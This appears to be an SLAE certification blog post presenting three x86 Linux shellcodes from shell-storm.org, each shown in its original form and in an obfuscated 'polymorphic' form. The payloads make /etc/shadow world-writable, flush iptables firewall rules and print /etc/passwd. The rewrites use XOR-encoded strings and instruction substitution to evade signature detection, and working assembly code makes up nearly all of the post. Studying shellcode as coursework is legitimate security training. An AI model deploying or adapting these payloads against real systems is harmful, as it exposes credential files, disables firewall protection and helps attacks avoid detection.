Polymorphic Linux Shellcode
This blog post shows 3 polymorphic variants of common shellcodes found on shell-storm.org.
Note that the original shellcode is shown here using Intel syntax.
Sample 1: Linux/x86 - chmod(/etc/shadow, 0777)
- Original size: 29 bytes
- Polymorphic size: 41 bytes (41% increase)
- Source: http://shell-storm.org/shellcode/files/shellcode-593.php
Original code:
global _start
section .text
_start:
xor eax,eax
push eax
push dword 0x776f6461 ; /etc/shadow
push dword 0x68732f63
push dword 0x74652f2f
mov ebx,esp
push word 0x1ff
pop ecx
mov al,0xf
int 0x80
Polymorphic code:
global _start
section .text
_start:
mov ecx, 0x01ff87fd ; XOR key + mode (upper half)
mov eax, 0x0188e899 ; /etc/shadow (XOR encoded)
mov ebx, 0x6097f4d2
mov edx, 0x628be2d2
xor eax, ecx
xor ebx, ecx
xor edx, ecx
push eax
push ebx
push edx
mov ebx, esp ; const char *pathname
shr ecx, 16 ; mode_t mode -> 0777
xor eax, eax
add eax, 0xf ; sys_chmod
int 0x80
Sample 2: Linux/x86 - iptables -F
- Original size: 58 bytes
- Polymorphic size: 67 bytes (15% increase)
- Source: http://shell-storm.org/shellcode/files/shellcode-361.php
Original code
section .text
global _start
_start:
jmp short callme
main:
pop esi
xor eax,eax
mov byte [esi+14],al
mov byte [esi+17],al
mov long [esi+18],esi
lea ebx,[esi+15]
mov long [esi+22],ebx
mov long [esi+26],eax
mov al,0x0b
mov ebx,esi
lea ecx,[esi+18]
lea edx,[esi+26]
int 0x80
callme:
call main
db '/sbin/iptables#-F#'
Polymorphic code
section .text
global _start
_start:
mov eax, 0x2d5a5a46 ; 0x5a462d5a (shifted 16 bits)
ror eax, 0x10
push eax
add eax, 0x191f3f08
push eax
sub eax, 0x11f0fbf9
push eax
sub eax, 0x32450202
add eax, 0x2 ; avoid null-byte
push eax
add eax, 0x3343c0c6
push eax
mov esi, esp ; esi -> "//sbin//iptablesZ-FZ"
mov ebx, esi ; const char *filename
cdq ; edx = 0
mov eax, edx ; eax = 0
mov byte [esi+16], dl ; null out Z byte: //sbin//iptablesZ -> "//sbin//iptables"
mov byte [esi+19], dl ; null out Z byte: -FZ -> "-F"
push edx ; null-terminatation for argv
lea eax, [esi+17] ; char *const argv[1] -> "-F"
push eax ;
push esi ; char *const argv[0] -> "//sbin//iptables"
mov ecx, esp ; char *const argv[] -> "//sbin//iptables", "-F"
push edx ; NULL byte for envp[]
mov eax, edx ; eax = 0
mov edx, esp ; char *const envp[] -> NULL
add eax, 0xb ; sys_execve
int 0x80
Sample 3: Linux/x86 - File Reader /etc/passwd
- Original size: 76 bytes
- Polymorphic size: 90 bytes (18% increase)
- Source: http://shell-storm.org/shellcode/files/shellcode-73.php
Original code
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp two
one:
pop ebx
mov al, 0x5
xor ecx, ecx
int 0x80
mov esi, eax
jmp read
exit:
mov al, 0x1
xor ebx, ebx
int 0x80
read:
mov ebx, esi
mov al, 0x3
sub esp, 0x1
lea ecx, [esp]
mov dl, 0x1
int 0x80
xor ebx, ebx
cmp ebx, eax
je exit
mov al, 0x4
mov bl, 0x1
mov dl, 0x1
int 0x80
add esp, 0x1
jmp short read
two:
call one
db '/etc/passwd'
Polymorphic code
section .text
global _start
_start:
push 0xbadacd9c ; //etc/passwd (XOR encoded)
push 0xbfdd918c
push 0xaac891c0
xor ecx, ecx
mov cl, 3
mov edx, esp
decode:
mov eax, dword [edx]
xor eax, 0xdeadbeef ; XOR key
mov dword [edx], eax
add edx, 0x4
loop decode
xor eax, eax ; eax = 0
cdq ; edx = 0
mov byte [esp+12], al ; null terminate string "//etc/passwd"
mov al, 0x5 ; sys_open
mov ebx, esp ; const char *pathname
xor ecx, ecx ; int flags
int 0x80
read:
mov ecx, esp ; void *buf
push eax ; save fd value for next byte read loop
mov ebx, eax ; int fd
xor eax, eax ; eax = 0
mov dl, 0x1 ; size_t count = 1, we're reading a single byte at a time
mov al, 0x3 ; sys_read
int 0x80
cdq ; edx = 0
cmp edx, eax ; check if we have any bytes left to read
je exit ; if not, exit
mov eax, edx ; eax = 0
mov ebx, eax ; ebx = 0
mov al, 0x4 ; sys_write
mov bl, 0x1 ; int fd = 1 (stdout)
mov dl, 0x1 ; size_t count = 1, we're writing a single byte at a time
int 0x80
pop eax ; restore fd value
jmp read ; loop to next byte
exit:
mov eax, edx ; eax = 0
inc eax ; eax = 1, sys_exit
xor ebx, ebx ; ebx = 0, int status
int 0x80
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1236
All source files can be found on GitHub at https://github.com/slemire/slae32